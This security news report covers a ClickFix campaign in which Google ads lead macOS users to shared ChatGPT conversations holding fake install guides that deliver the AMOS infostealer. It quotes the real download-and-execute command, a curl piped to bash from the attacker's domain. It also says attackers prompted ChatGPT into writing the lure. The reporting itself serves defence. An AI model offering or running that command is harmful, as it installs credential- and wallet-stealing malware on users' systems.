A new malicious campaign is targeting macOS users via a novel attack that exploits ChatGPT’s official website.
The attackers are using a technique called ClickFix to spread the AMOS infostealer by posting fake installation guides on the legitimate chatgpt.com domain.
This campaign leverages ChatGPT’s chat-sharing feature, where any user can create a public conversation and share it with others via a link that appears to originate from OpenAI’s official website.
The attack begins with paid search ads on Google. When users search for “chatgpt atlas,” they encounter sponsored links that appear to lead directly to the official ChatGPT domain.
.webp "New ClickFix Attacks as macOS Infostealer Leverages Official ChatGPT Website by Piggybacking 2")
The ad displays the title “ChatGPT Atlas for macOS – Download ChatGPT Atlas for Mac,” which makes it appear completely legitimate.
Users who click on these ads are taken to a shared ChatGPT conversation that contains fake installation instructions for the nonexistent Atlas browser.
After extensive analysis, Kaspersky security researchers identified that the malicious actors used prompt engineering to force ChatGPT into generating a convincing installation guide.
The attackers then cleaned the chat history to remove any suspicious content before making the chat public.
.webp "New ClickFix Attacks as macOS Infostealer Leverages Official ChatGPT Website by Piggybacking 4")
The guide appears on the chatgpt.com/share/ subdomain, which can make it seem more trustworthy to users who may not recognize that it is simply a shared conversation rather than official content from OpenAI.
The Infection Mechanism
The fake installation guide instructs users to open the Terminal application on their Mac and run a specific command.
The malicious code looks like this:-
/bin/bash -c “$(curl -fsSL ‘https://atlas-extension.com/gt’)”
This command downloads a malicious script from the attacker-controlled server at atlas-extension.com and executes it immediately on the victim’s computer.
When executed, the script prompts for the system password and repeatedly asks until the correct password is entered. Once the password is provided, the script downloads the AMOS infostealer and installs it using the stolen credentials.
.webp "New ClickFix Attacks as macOS Infostealer Leverages Official ChatGPT Website by Piggybacking 5")
AMOS can steal passwords, cookies, and other browser data from Chrome and Firefox. It also targets cryptocurrency wallet information from applications such as Electrum, Coinomi, and Exodus.
The malware collects files with TXT, PDF, and DOCX extensions from folders like Desktop, Documents, and Downloads. Additionally, it installs a backdoor that starts automatically at system startup, giving attackers persistent remote access to the infected system.
Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.
